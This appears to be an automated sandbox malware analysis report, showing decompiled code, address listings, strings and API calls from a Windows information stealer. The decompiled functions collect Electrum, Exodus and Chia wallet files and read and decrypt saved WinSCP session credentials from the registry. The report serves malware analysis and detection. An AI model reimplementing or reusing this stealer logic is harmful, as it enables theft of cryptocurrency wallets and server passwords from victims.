				 *0x468038( &_v1320, "\\");
				 *0x468038( &_v1320,  &_v280);
				 *0x468038( &_v1320, "\\");
				_t752 =  *0x456d20; // 0x43f95f0
				 *0x468038( &_v540, _t752);
				 *0x468038( &_v540, "\\");
				_t755 =  *0x456ff8; // 0x43f6500
				 *0x468038( &_v540, _t755);
				 *0x468038( &_v800, "\\");
				 *0x468038( &_v800,  &_v540);
				 *0x468038( &_v800, "\\");
				_t871 =  *0x456d20; // 0x43f95f0
				E00412170(_t1145,  &_v1060, _t871, "*.*",  *((intOrPtr*)(_t990 + 0x20)), 0); // executed
				E00412170(_t1145,  &_v1320,  &_v280, "*.*",  *((intOrPtr*)(_t990 + 0x20)), 0); // executed
				E00412170(_t1145,  &_v800,  &_v540, "*.*",  *((intOrPtr*)(_t990 + 0x20)), 0); // executed
				E00412690(_t1145,  *((intOrPtr*)(_t990 + 0x20)), 0x44b2d7, ".chia\\mainnet\\config", "*.*"); // executed
				E00412690(_t1145,  *((intOrPtr*)(_t990 + 0x20)), 0x44b2da, ".chia\\mainnet\\run", "*.*"); // executed
				E00412690(_t1145,  *((intOrPtr*)(_t990 + 0x20)), 0x44b2db, ".chia\\mainnet\\wallet", "*.sqlite"); // executed
				E00412690(_t1145,  *((intOrPtr*)(_t990 + 0x20)), 0x44b2de, ".chia_keys", "*.*"); // executed
				 *[fs:0x0] = _v16;
				_pop(_t991);
				_pop(_t994);
				_pop(_t777);
				return L0042AC8A( *((intOrPtr*)(_t990 + 0x1c)), _t777, _v20 ^ _t995,  *((intOrPtr*)(_t990 + 0x20)), _t991, _t994);
			}

0x004136d3
0x004136d5
0x004136e0
0x004136e7
0x004136ec
0x004136ee
0x004136f4
0x004136f8
0x00413703
0x00413705
0x00413708
0x0041370b
0x00413710
0x00413713
0x0041371a
0x0041371d
0x00413720
0x00413723
0x00413729
0x0041372f
0x00413731
0x00413737
0x00413737
0x00413739
0x0041373a
0x0041374c
0x00413751
0x00413756
0x00413759
0x0041375b
0x0041375e
0x00413761
0x00413764
0x00413767
0x0041376d
0x00413773
0x00413775
0x00413780
0x00413780
0x00413782
0x00413783
0x00413795
0x0041379a
0x0041379f
0x004137a2
0x004137a4
0x004137a7
0x004137ad
0x004137b0
0x004137b3
0x004137b7
0x004137bd
0x004137bf
0x004137c5
0x004137c5
0x004137c7
0x004137c8
0x004137da
0x004137df
0x004137e2
0x004137e9
0x004137ee
0x004137f1
0x004137f3
0x004137fb
0x004137fe
0x00413806
0x00413808
0x0041380d
0x00413810
0x00413812
0x0041381a
0x0041381d
0x00413825
0x0041382c
0x0041382e
0x00413833
0x00413836
0x00413838
0x00413840
0x00413843
0x0041384b
0x0041384f
0x00413851
0x00413856
0x00413859
0x00413860
0x00413865
0x0041386a
0x0041386d
0x0041386f
0x00413872
0x00413875
0x00413878
0x0041387e
0x00413884
0x00413886
0x00413890
0x00413890
0x00413892
0x00413893
0x004138a5
0x004138aa
0x004138af
0x004138b2
0x004138b4
0x004138b7
0x004138ba
0x004138bd
0x004138c4
0x004138ca
0x004138d0
0x004138d2
0x004138d8
0x004138d8
0x004138da
0x004138db
0x004138ed
0x004138f2
0x004138f7
0x004138fa
0x004138fc
0x004138ff
0x00413905
0x00413908
0x0041390b
0x0041390f
0x00413915
0x00413917
0x00413920
0x00413920
0x00413922
0x00413923
0x00413935
0x0041393a
0x0041393d
0x00413944
0x00413949
0x0041394e
0x00413951
0x00413953
0x00413956
0x00413959
0x0041395c
0x00413962
0x00413968
0x0041396a
0x00413970
0x00413970
0x00413972
0x00413973
0x00413985
0x0041398a
0x0041398f
0x00413992
0x00413994
0x00413997
0x0041399a
0x0041399d
0x004139a4
0x004139aa
0x004139b0
0x004139b2
0x004139b8
0x004139b8
0x004139ba
0x004139bb
0x004139cd
0x004139d2
0x004139d7
0x004139da
0x004139dc
0x004139df
0x004139e5
0x004139e8
0x004139eb
0x004139ef
0x004139f5
0x004139f7
0x00413a00
0x00413a00
0x00413a02
0x00413a03
0x00413a15
0x00413a1a
0x00413a1d
0x00413a24
0x00413a29
0x00413a2c
0x00413a2e
0x00413a36
0x00413a39
0x00413a41
0x00413a43
0x00413a48
0x00413a4b
0x00413a4d
0x00413a55
0x00413a58
0x00413a60
0x00413a67
0x00413a69
0x00413a6e
0x00413a73
0x00413a76
0x00413a78
0x00413a7b
0x00413a81
0x00413a84
0x00413a87
0x00413a8b
0x00413a91
0x00413a93
0x00413aa0
0x00413aa0
0x00413aa2
0x00413aa3
0x00413ab5
0x00413aba
0x00413abd
0x00413ac4
0x00413ac9
0x00413ace
0x00413ad1
0x00413ad3
0x00413ad6
0x00413ad9
0x00413adc
0x00413ae2
0x00413ae8
0x00413aea
0x00413af0
0x00413af0
0x00413af2
0x00413af3
0x00413b05
0x00413b0a
0x00413b0f
0x00413b12
0x00413b14
0x00413b17
0x00413b1a
0x00413b1d
0x00413b24
0x00413b2a
0x00413b30
0x00413b32
0x00413b38
0x00413b38
0x00413b3a
0x00413b3b
0x00413b4d
0x00413b52
0x00413b57
0x00413b5a
0x00413b5c
0x00413b5f
0x00413b65
0x00413b68
0x00413b6b
0x00413b6f
0x00413b75
0x00413b77
0x00413b80
0x00413b80
0x00413b82
0x00413b83
0x00413b95
0x00413b9a
0x00413b9d
0x00413ba4
0x00413ba9
0x00413bae
0x00413bb1
0x00413bb3
0x00413bb6
0x00413bb9
0x00413bbc
0x00413bc2
0x00413bc8
0x00413bca
0x00413bd0
0x00413bd0
0x00413bd2
0x00413bd3
0x00413be5
0x00413bea
0x00413bef
0x00413bf2
0x00413bf4
0x00413bf7
0x00413bfa
0x00413bfd
0x00413c04
0x00413c0a
0x00413c10
0x00413c12
0x00413c18
0x00413c18
0x00413c1a
0x00413c1b
0x00413c2d
0x00413c32
0x00413c37
0x00413c3a
0x00413c3c
0x00413c3f
0x00413c45
0x00413c48
0x00413c4b
0x00413c4f
0x00413c55
0x00413c57
0x00413c60
0x00413c60
0x00413c62
0x00413c63
0x00413c75
0x00413c7a
0x00413c7d
0x00413c84
0x00413c89
0x00413c8e
0x00413c91
0x00413c93
0x00413c96
0x00413c99
0x00413c9c
0x00413ca2
0x00413ca8
0x00413caa
0x00413cb0
0x00413cb0
0x00413cb2
0x00413cb3
0x00413cc5
0x00413cca
0x00413ccf
0x00413cd2
0x00413cd4
0x00413cd7
0x00413cda
0x00413cdd
0x00413ce4
0x00413cea
0x00413cf0
0x00413cf2
0x00413cf8
0x00413cf8
0x00413cfa
0x00413cfb
0x00413d0d
0x00413d12
0x00413d17
0x00413d1a
0x00413d1c
0x00413d1f
0x00413d25
0x00413d28
0x00413d2b
0x00413d2f
0x00413d35
0x00413d37
0x00413d40
0x00413d40
0x00413d42
0x00413d43
0x00413d55
0x00413d5a
0x00413d5d
0x00413d64
0x00413d69
0x00413d6c
0x00413d6e
0x00413d76
0x00413d79
0x00413d81
0x00413d83
0x00413d88
0x00413d8d
0x00413d90
0x00413d92
0x00413d95
0x00413d98
0x00413d9b
0x00413da2
0x00413da8
0x00413dae
0x00413db0
0x00413db6
0x00413db6
0x00413db8
0x00413db9
0x00413dcb
0x00413dd0
0x00413dd5
0x00413dd8
0x00413dda
0x00413ddd
0x00413de3
0x00413de6
0x00413de9
0x00413ded
0x00413df3
0x00413df5
0x00413e00
0x00413e00
0x00413e02
0x00413e03
0x00413e15
0x00413e1a
0x00413e1d
0x00413e24
0x00413e29
0x00413e2c
0x00413e2e
0x00413e36
0x00413e39
0x00413e41
0x00413e43
0x00413e48
0x00413e4d
0x00413e50
0x00413e52
0x00413e55
0x00413e58
0x00413e5b
0x00413e62
0x00413e68
0x00413e6e
0x00413e70
0x00413e76
0x00413e76
0x00413e78
0x00413e79
0x00413e8b
0x00413e90
0x00413e95
0x00413e98
0x00413e9a
0x00413e9d
0x00413ea3
0x00413ea6
0x00413ea9
0x00413ead
0x00413eb3
0x00413eb5
0x00413ec0
0x00413ec0
0x00413ec2
0x00413ec3
0x00413ed5
0x00413eda
0x00413edd
0x00413ee4
0x00413ee9
0x00413eee
0x00413ef1
0x00413ef3
0x00413ef6
0x00413ef9
0x00413efc
0x00413f02
0x00413f08
0x00413f0a
0x00413f10
0x00413f10
0x00413f12
0x00413f13
0x00413f25
0x00413f2a
0x00413f2f
0x00413f32
0x00413f34
0x00413f37
0x00413f3a
0x00413f3d
0x00413f44
0x00413f4a
0x00413f50
0x00413f52
0x00413f58
0x00413f58
0x00413f5a
0x00413f5b
0x00413f6d
0x00413f72
0x00413f77
0x00413f7a
0x00413f7c
0x00413f7f
0x00413f85
0x00413f88
0x00413f8b
0x00413f8f
0x00413f95
0x00413f97
0x00413fa0
0x00413fa0
0x00413fa2
0x00413fa3
0x00413fb5
0x00413fba
0x00413fbd
0x00413fc4
0x00413fc9
0x00413fce
0x00413fd1
0x00413fd3
0x00413fd6
0x00413fd9
0x00413fdc
0x00413fe2
0x00413fe8
0x00413fea
0x00413ff0
0x00413ff0
0x00413ff2
0x00413ff3
0x00414005
0x0041400a
0x0041400f
0x00414012
0x00414014
0x00414017
0x0041401a
0x0041401d
0x00414024
0x0041402a
0x00414030
0x00414032
0x00414038
0x00414038
0x0041403a
0x0041403b
0x0041404d
0x00414052
0x00414057
0x0041405a
0x0041405c
0x0041405f
0x00414065
0x00414068
0x0041406b
0x0041406f
0x00414075
0x00414077
0x00414080
0x00414080
0x00414082
0x00414083
0x00414095
0x0041409a
0x0041409d
0x004140a4
0x004140a9
0x004140ae
0x004140b1
0x004140b3
0x004140b6
0x004140b9
0x004140bc
0x004140c2
0x004140c8
0x004140ca
0x004140d0
0x004140d0
0x004140d2
0x004140d3
0x004140e5
0x004140ea
0x004140ef
0x004140f2
0x004140f4
0x004140f7
0x004140fa
0x004140fd
0x00414104
0x0041410a
0x00414110
0x00414112
0x00414118
0x00414118
0x0041411a
0x0041411b
0x0041412d
0x00414132
0x00414137
0x0041413a
0x0041413c
0x0041413f
0x00414145
0x00414148
0x0041414b
0x0041414f
0x00414155
0x00414157
0x00414160
0x00414160
0x00414162
0x00414163
0x00414175
0x0041417a
0x0041417d
0x00414184
0x00414189
0x0041418e
0x00414191
0x00414193
0x00414196
0x00414199
0x0041419c
0x004141a2
0x004141a8
0x004141aa
0x004141b0
0x004141b0
0x004141b2
0x004141b3
0x004141c5
0x004141ca
0x004141cf
0x004141d2
0x004141d4
0x004141d7
0x004141da
0x004141dd
0x004141e4
0x004141ea
0x004141f0
0x004141f2
0x004141f8
0x004141f8
0x004141fa
0x004141fb
0x0041420d
0x00414212
0x00414217
0x0041421a
0x0041421c
0x0041421f
0x00414225
0x00414228
0x0041422b
0x0041422f
0x00414235
0x00414237
0x00414240
0x00414240
0x00414242
0x00414243
0x00414255
0x0041425a
0x0041425e
0x00414265
0x0041426a
0x0041426f
0x00414272
0x00414274
0x00414277
0x0041427a
0x0041427d
0x00414283
0x00414289
0x0041428b
0x00414291
0x00414291
0x00414293
0x00414294
0x004142a6
0x004142ab
0x004142b0
0x004142b3
0x004142b5
0x004142b8
0x004142bb
0x004142be
0x004142c5
0x004142cb
0x004142d1
0x004142d3
0x004142e0
0x004142e0
0x004142e2
0x004142e3
0x004142f5
0x004142fa
0x004142ff
0x00414302
0x00414304
0x00414307
0x0041430d
0x00414310
0x00414313
0x00414317
0x0041431d
0x0041431f
0x00414325
0x00414325
0x00414327
0x00414328
0x0041433a
0x0041433f
0x00414343
0x0041434a
0x0041434f
0x00414354
0x00414357
0x00414359
0x0041435c
0x0041435f
0x00414362
0x00414368
0x0041436e
0x00414370
0x00414376
0x00414376
0x00414378
0x00414379
0x0041438b
0x00414390
0x00414395
0x00414398
0x0041439a
0x0041439d
0x004143a0
0x004143a3
0x004143aa
0x004143b0
0x004143b6
0x004143b8
0x004143c0
0x004143c0
0x004143c2
0x004143c3
0x004143d5
0x004143da
0x004143df
0x004143e2
0x004143e4
0x004143e7
0x004143ed
0x004143f0
0x004143f3
0x004143f7
0x004143fd
0x004143ff
0x00414405
0x00414405
0x00414407
0x00414408
0x0041441a
0x0041441f
0x00414422
0x00414429
0x0041442e
0x00414431
0x00414433
0x0041443b
0x0041443e
0x00414446
0x00414448
0x0041444d
0x00414452
0x00414455
0x00414457
0x0041445a
0x0041445d
0x00414460
0x00414467
0x0041446d
0x00414473
0x00414475
0x00414480
0x00414480
0x00414482
0x00414483
0x00414495
0x0041449a
0x0041449f
0x004144a2
0x004144a4
0x004144a7
0x004144ad
0x004144b0
0x004144b3
0x004144b7
0x004144bd
0x004144bf
0x004144c5
0x004144c5
0x004144c7
0x004144c8
0x004144da
0x004144df
0x004144e3
0x004144ea
0x004144ef
0x004144f2
0x004144f4
0x004144fc
0x004144ff
0x00414507
0x00414509
0x0041450e
0x00414513
0x00414516
0x00414518
0x0041451b
0x0041451e
0x00414521
0x00414528
0x0041452e
0x00414534
0x00414536
0x00414540
0x00414540
0x00414542
0x00414543
0x00414555
0x0041455a
0x0041455f
0x00414562
0x00414564
0x00414567
0x0041456d
0x00414570
0x00414573
0x00414577
0x0041457d
0x0041457f
0x00414585
0x00414585
0x00414587
0x00414588
0x00414588
0x0041459a
0x004145a2
0x004145a9
0x004145ae
0x004145b1
0x004145b3
0x004145bb
0x004145be
0x004145c6
0x004145c8
0x004145cd
0x004145d0
0x004145d2
0x004145da
0x004145dd
0x004145e5
0x004145ec
0x004145ee
0x004145f3
0x004145f6
0x004145f8
0x00414600
0x00414603
0x0041460b
0x0041460f
0x00414611
0x00414619
0x00414620
0x00414628
0x0041462e
0x00414636
0x0041463f
0x00414647
0x0041464c
0x00414654
0x0041465d
0x00414665
0x0041466b
0x00414673
0x0041467b
0x00414683
0x00414689
0x00414692
0x00414699
0x004146b4
0x004146c6
0x004146d8
0x004146ea
0x004146fc
0x00414711
0x00414725
0x0041472b
0x00414738
0x0041474a
0x00414750
0x0041475d
0x0041476f
0x00414775
0x00414782
0x00414794
0x0041479a
0x004147a7
0x004147b9
0x004147cd
0x004147df
0x004147e5
0x004147f2
0x00414804
0x0041480a
0x00414817
0x00414829
0x0041483d
0x0041484f
0x00414858
0x0041486d
0x0041488a
0x004148a7
0x004148bf
0x004148da
0x004148f2
0x0041490a
0x00414918
0x00414920
0x00414921
0x00414922
0x00414930

Strings

\Electrum-LTC\wallets\, xrefs: 00413846
*.json, xrefs: 00414502
\Exodus\backups, xrefs: 004146AF
*.*, xrefs: 00414860
Exodus\backups, xrefs: 004146AA
.chia_keys, xrefs: 004148FC
*.*, xrefs: 00414877
*.*, xrefs: 004148AF
*.*, xrefs: 004148F7
.chia\mainnet\wallet, xrefs: 004148E7
Exodus\exodus.wallet, xrefs: 00413A5B
default_wallet, xrefs: 00413801
*.*, xrefs: 00413D7C
*.*, xrefs: 004148CA
*.*, xrefs: 00413A3C
*.*, xrefs: 004146A5
*.sqlite, xrefs: 004148E2
*.*, xrefs: 00414894
.chia\mainnet\config, xrefs: 004148B4
Electrum-LTC, xrefs: 00413820
*.*, xrefs: 00414441
\Electrum\wallets\, xrefs: 00414606
*.*, xrefs: 00413E3C
default_wallet, xrefs: 004145C1
%, xrefs: 0041460B
.chia\mainnet\run, xrefs: 004148CF
Electrum, xrefs: 004145E0

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %$*.*$*.*$*.*$*.*$*.*$*.*$*.*$*.*$*.*$*.*$*.*$*.json$*.sqlite$.chia\mainnet\config$.chia\mainnet\run$.chia\mainnet\wallet$.chia_keys$Electrum$Electrum-LTC$Exodus\backups$Exodus\exodus.wallet$\Electrum-LTC\wallets\$\Electrum\wallets\$\Exodus\backups$default_wallet$default_wallet
API String ID: 0-1960988717
Opcode ID: 55d5b0ee3ebcbeade2dc924ee00165d8b624580f84e494ae2ba0c7cc804cdc59
Instruction ID: 2df76274f2fea3031b0f2c080c4e2d39b97b6c9f4707c5badb7eefaf82a166e9
Opcode Fuzzy Hash: 55d5b0ee3ebcbeade2dc924ee00165d8b624580f84e494ae2ba0c7cc804cdc59
Instruction Fuzzy Hash: 80C2BEB19017149FCB10EF68DC85A9ABFB9EF09305F5041DEE0489B242C776DA89CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00416290 Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 244
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004162C6
lstrcat.KERNEL32(?,0253C408), ref: 004162DC

Part of subcall function 00420D40: _malloc.LIBCMT ref: 00420D49
Part of subcall function 00420D40: GetTickCount.KERNEL32 ref: 00420D56
Part of subcall function 00420D40: _rand.LIBCMT ref: 00420D70
Part of subcall function 00420D40: wsprintfA.USER32 ref: 00420D85

lstrcat.KERNEL32(?,00000000), ref: 004162F7
CopyFileA.KERNEL32(?,?,00000001), ref: 00416307
_memset.LIBCMT ref: 0041631B
lstrcat.KERNEL32(?,0044B8A0), ref: 0041632F
lstrcat.KERNEL32(?,043720D8), ref: 00416343
lstrcat.KERNEL32(?,0044B8A4), ref: 00416355
lstrcat.KERNEL32(?,?), ref: 00416363
lstrcat.KERNEL32(?,0044B8A8), ref: 00416375
lstrcat.KERNEL32(?,?), ref: 00416383
lstrcat.KERNEL32(?,.txt), ref: 00416395
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004163E9
RtlAllocateHeap.NTDLL(00000000), ref: 004163F0
StrCmpCA.SHLWAPI(00000000,0044B8B4), ref: 004164A5
lstrcat.KERNEL32(00000000,FALSE), ref: 004164C2
StrCmpCA.SHLWAPI(00000000,0044B8C8), ref: 004164CE
lstrcat.KERNEL32(00000000,FALSE), ref: 004164EB
lstrcat.KERNEL32(00000000,?), ref: 004164F9
lstrcat.KERNEL32(00000000,0044B8DC), ref: 00416505
lstrcat.KERNEL32(00000000,00000000), ref: 0041650D
lstrcat.KERNEL32(00000000,0044B8E0), ref: 00416519
lstrcat.KERNEL32(00000000,?), ref: 00416527
lstrcat.KERNEL32(00000000,0044B8E4), ref: 00416533
lstrcat.KERNEL32(00000000,00000000), ref: 0041653B
lstrcat.KERNEL32(00000000,0044B8E8), ref: 00416547
lstrcat.KERNEL32(00000000,?), ref: 00416555
lstrcat.KERNEL32(00000000,0044B8EC), ref: 00416561
lstrcat.KERNEL32(00000000,?), ref: 0041656F
lstrcat.KERNEL32(00000000,0044B8F0), ref: 0041657B
lstrcat.KERNEL32(00000000,?), ref: 00416589
lstrcat.KERNEL32(00000000,0044B8F4), ref: 00416595
lstrlen.KERNEL32(00000000), ref: 004165B5
DeleteFileA.KERNEL32(?), ref: 004165F7

Strings

.txt, xrefs: 00416389
TRUE, xrefs: 004164B5
TRUE, xrefs: 004164DE
FALSE, xrefs: 004164E5
FALSE, xrefs: 004164BC

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap_memset$AllocateCopyCountDeleteProcessTick_malloc_randlstrlenwsprintf
String ID: .txt$FALSE$FALSE$TRUE$TRUE
API String ID: 1626206634-3751613242
Opcode ID: 2bb1d5aa83917695a4e11f9b30473aac911354fe361adf4a9e3aba1039f0aacc
Instruction ID: 070ee8fc9ef067e9c8beb265e681e41d88bc8cdf1d8a88cb15b3dfc6c56966c6
Opcode Fuzzy Hash: 2bb1d5aa83917695a4e11f9b30473aac911354fe361adf4a9e3aba1039f0aacc
Instruction Fuzzy Hash: 04916475540218ABD710AFA0EC4DEDA777CEF18741F1009A9F609E2151EBB8DA88CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041C310 Relevance: 59.9, APIs: 31, Strings: 3, Instructions: 408
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E0041C310(intOrPtr __ecx, intOrPtr _a4) {
				void* _v8;
				char _v16;
				signed int _v20;
				char _v279;
				char _v280;
				char _v1304;
				char _v2328;
				char _v3352;
				intOrPtr _v3360;
				int* _v3364;
				char _v3380;
				intOrPtr _v3388;
				int* _v3392;
				char _v3408;
				intOrPtr _v3416;
				int* _v3420;
				char _v3436;
				intOrPtr _v3444;
				int* _v3448;
				char _v3464;
				intOrPtr _v3472;
				int* _v3476;
				short _v3492;
				intOrPtr _v3500;
				int* _v3504;
				char _v3520;
				void* _v3524;
				char _v3525;
				char _v3526;
				int _v3532;
				int* _v3536;
				intOrPtr _v3540;
				char _v3544;
				char _v3548;
				char _v3552;
				char _v3556;
				char _v3560;
				char _v3564;
				char _v3568;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t132;
				signed int _t133;
				intOrPtr* _t143;
				intOrPtr* _t146;
				intOrPtr* _t151;
				void* _t154;
				intOrPtr _t160;
				intOrPtr _t162;
				intOrPtr _t166;
				void* _t167;
				intOrPtr _t170;
				intOrPtr _t172;
				intOrPtr _t176;
				intOrPtr _t179;
				void* _t181;
				int _t184;
				void* _t189;
				char* _t191;
				intOrPtr* _t196;
				void* _t209;
				intOrPtr _t217;
				void* _t219;
				intOrPtr* _t224;
				intOrPtr* _t246;
				intOrPtr _t247;
				intOrPtr _t253;
				void* _t267;
				void* _t268;
				intOrPtr* _t269;
				intOrPtr* _t270;
				long _t275;
				intOrPtr _t278;
				void* _t279;
				signed int _t280;
				void* _t281;
				void* _t283;

				_push(0xffffffff);
				_push(E0043F87D);
				_push( *[fs:0x0]);
				_t132 =  *0x4556f0; // 0x1a5a77c2
				_t133 = _t132 ^ _t280;
				_v20 = _t133;
				_push(_t133);
				 *[fs:0x0] =  &_v16;
				_t278 = _a4;
				_v3540 = __ecx;
				_v3536 = 0;
				_v280 = 0;
				L0042AC10( &_v279, 0, 0x103);
				_v3532 = 0x104;
				L0042AC10( &_v1304, 0, 0x400);
				_t245 =  &_v3352;
				L0042AC10( &_v3352, 0, 0x400);
				L0042AC10( &_v2328, 0, 0x400);
				_t283 = _t281 - 0xde0 + 0x30;
				_v3556 = 0x400;
				_v3548 = 0x400;
				_v3552 = 0x400;
				_t141 = RegOpenKeyExW(0x80000001, L"Software\\Martin Prikryl\\WinSCP 2\\Configuration", 0, 1,  &_v3524); // executed
				if(_t141 != 0) {
					L42:
					 *[fs:0x0] = _v16;
					_pop(_t267);
					_pop(_t279);
					_pop(_t209);
					return L0042AC8A(_t141, _t209, _v20 ^ _t280, _t245, _t267, _t279);
				} else {
					_t246 =  *0x45717c; // 0x43f68e0
					_t143 = _t246;
					_v3444 = 0xf;
					_v3448 = 0;
					_v3464 = 0;
					_t19 = _t143 + 1; // 0x43f68e1
					_t268 = _t19;
					goto L2;
					do {
						L4:
						_t247 =  *_t146;
						_t146 = _t146 + 1;
					} while (_t247 != 0);
					E00405620( &_v3408, _t269, _t146 - _t219);
					_v8 = 1;
					_t270 = E004241B0(0,  &_v3525,  &_v3436,  &_v3464);
					_v8 = 2;
					_t151 = E004241B0(0,  &_v3525,  &_v3492,  &_v3408);
					_v8 = 3;
					if( *((intOrPtr*)(_t270 + 0x14)) < 8) {
						_t224 = _t270;
					} else {
						_t224 =  *_t270;
					}
					if( *((intOrPtr*)(_t151 + 0x14)) >= 8) {
						_t151 =  *_t151;
					}
					_v3526 =  *0x467e80(_v3524, _t151, _t224, 0x10, 0,  &_v3544,  &_v3568) != 0;
					if(_v3472 >= 8) {
						_push(_v3492);
						L0042ABAB();
						_t283 = _t283 + 4;
					}
					_t245 = 0;
					_v3472 = 7;
					_v3476 = 0;
					_v3492 = 0;
					if(_v3416 >= 8) {
						_push(_v3436);
						L0042ABAB();
						_t283 = _t283 + 4;
					}
					_v3416 = 7;
					_v3420 = 0;
					_v3436 = 0;
					if(_v3388 >= 0x10) {
						_t245 = _v3408;
						_push(_v3408);
						L0042ABAB();
						_t283 = _t283 + 4;
					}
					_v3388 = 0xf;
					_v3392 = 0;
					_v3408 = 0;
					_v8 = 0xffffffff;
					if(_v3444 >= 0x10) {
						_push(_v3464);
						L0042ABAB();
						_t283 = _t283 + 4;
					}
					_t154 = _v3524;
					if(_v3526 == 0) {
						L21:
						if(_t154 != 0) {
							RegCloseKey(_t154);
							_v3524 = 0;
						}
						goto L23;
					} else {
						if(_t154 == 0) {
							L23:
							if(RegOpenKeyExW(0x80000001, L"Software\\Martin Prikryl\\WinSCP 2\\Sessions", 0, 9,  &_v3524) != 0) {
								goto L42;
							}
							_t245 =  &_v3532;
							if(RegEnumKeyExA(_v3524, 0,  &_v280,  &_v3532, 0, 0, 0, 0) != 0) {
								L40:
								_t141 = _v3524;
								if(_t141 != 0) {
									_t141 = RegCloseKey(_t141);
								}
								goto L42;
							} else {
								goto L25;
							}
							do {
								L25:
								 *0x468038(_t278, "\n");
								_t253 =  *0x456cf8; // 0x43f7e98
								 *0x468038(_t278, _t253);
								 *0x468038(_t278, "\n");
								_t160 =  *0x45729c; // 0x4372378
								 *0x468038(_t278, _t160);
								_t162 =  *0x456c58; // 0x43f7fb8
								 *0x467f20(_v3524,  &_v280, _t162, 2, 0,  &_v1304,  &_v3556);
								 *0x468038(_t278,  &_v1304);
								_t166 =  *0x456dbc; // 0x43f7ec8
								_v3564 = 4;
								_t167 =  *0x467f20(_v3524,  &_v280, _t166, 0xffff, 0,  &_v3560,  &_v3564);
								_t301 = _t167;
								if(_t167 != 0) {
									 *0x468038(_t278, ":22");
								} else {
									_t196 = E00424450(4, _t301,  &_v3436, _v3560);
									_v8 = 4;
									if( *((intOrPtr*)(_t196 + 0x14)) >= 0x10) {
										_t196 =  *_t196;
									}
									 *0x468038(_t278, _t196);
									_v8 = 0xffffffff;
									if(_v3416 >= 0x10) {
										_push(_v3436);
										L0042ABAB();
										_t283 = _t283 + 4;
									}
								}
								 *0x468038(_t278, "\n");
								_t170 =  *0x456d58; // 0x43723d8
								 *0x468038(_t278, _t170);
								_t172 =  *0x457320; // 0x43f7f88
								 *0x467f20(_v3524,  &_v280, _t172, 2, 0,  &_v3352,  &_v3548);
								 *0x468038(_t278,  &_v3352);
								_v3360 = 0xf;
								_v3364 = 0;
								_v3380 = 0;
								_t176 =  *0x456ee8; // 0x43f7fa0
								_v8 = 5;
								 *0x467f20(_v3524,  &_v280, _t176, 2, 0,  &_v2328,  &_v3552);
								 *0x468038(_t278, "\n");
								_t179 =  *0x457258; // 0x43f7e68
								 *0x468038(_t278, _t179);
								_t181 =  *0x468068( &_v2328, 0x44b793);
								_t304 = _t181;
								if(_t181 != 0) {
									_t189 = L0041BBF0(_v3540, _t304,  &_v3520,  &_v1304,  &_v3352,  &_v2328);
									_v8 = 6;
									E00405760( &_v3380, _t189);
									_v8 = 5;
									if(_v3500 >= 0x10) {
										_push(_v3520);
										L0042ABAB();
										_t283 = _t283 + 4;
									}
									_t191 = _v3380;
									_v3500 = 0xf;
									_v3504 = 0;
									_v3520 = 0;
									if(_v3360 < 0x10) {
										_t191 =  &_v3380;
									}
									 *0x468038(_t278, _t191);
								}
								 *0x468038(_t278, "\n\n");
								_t184 =  &(_v3536[0]);
								_t245 =  &_v280;
								_v3536 = _t184;
								_v3532 = 0x104;
								_t275 = RegEnumKeyExA(_v3524, _t184,  &_v280,  &_v3532, 0, 0, 0, 0);
								_v8 = 0xffffffff;
								if(_v3360 >= 0x10) {
									_push(_v3380);
									L0042ABAB();
									_t283 = _t283 + 4;
								}
								_v3360 = 0xf;
								_v3364 = 0;
								_v3380 = 0;
							} while (_t275 != 0x103);
							goto L40;
						}
						RegCloseKey(_t154);
						_t154 = 0;
						_v3524 = 0;
						goto L21;
					}
					L2:
					_t217 =  *_t143;
					_t143 = _t143 + 1;
					if(_t217 != 0) {
						goto L2;
					} else {
						E00405620( &_v3464, _t246, _t143 - _t268);
						_t269 =  *0x457358; // 0x43f7ee0
						_t146 = _t269;
						_v8 = 0;
						_v3388 = 0xf;
						_v3392 = 0;
						_v3408 = 0;
						_t25 = _t146 + 1; // 0x43f7ee1
						_t219 = _t25;
						goto L4;
					}
				}
			}

0x0041c313
0x0041c315
0x0041c320
0x0041c327
0x0041c32c
0x0041c32e
0x0041c334
0x0041c338
0x0041c33e
0x0041c350
0x0041c356
0x0041c35c
0x0041c362
0x0041c375
0x0041c37f
0x0041c385
0x0041c38d
0x0041c39b
0x0041c3a0
0x0041c3b7
0x0041c3bd
0x0041c3c3
0x0041c3c9
0x0041c3d1
0x0041c8e5
0x0041c8e8
0x0041c8f0
0x0041c8f1
0x0041c8f2
0x0041c900
0x0041c3d7
0x0041c3d7
0x0041c3dd
0x0041c3df
0x0041c3e9
0x0041c3ef
0x0041c3f5
0x0041c3f5
0x0041c3f5
0x0041c432
0x0041c432
0x0041c432
0x0041c434
0x0041c435
0x0041c443
0x0041c45c
0x0041c465
0x0041c47b
0x0041c47f
0x0041c489
0x0041c490
0x0041c496
0x0041c492
0x0041c492
0x0041c492
0x0041c49b
0x0041c49d
0x0041c49d
0x0041c4c6
0x0041c4d3
0x0041c4db
0x0041c4dc
0x0041c4e1
0x0041c4e1
0x0041c4e4
0x0041c4e6
0x0041c4f0
0x0041c4f6
0x0041c503
0x0041c50b
0x0041c50c
0x0041c511
0x0041c511
0x0041c51b
0x0041c525
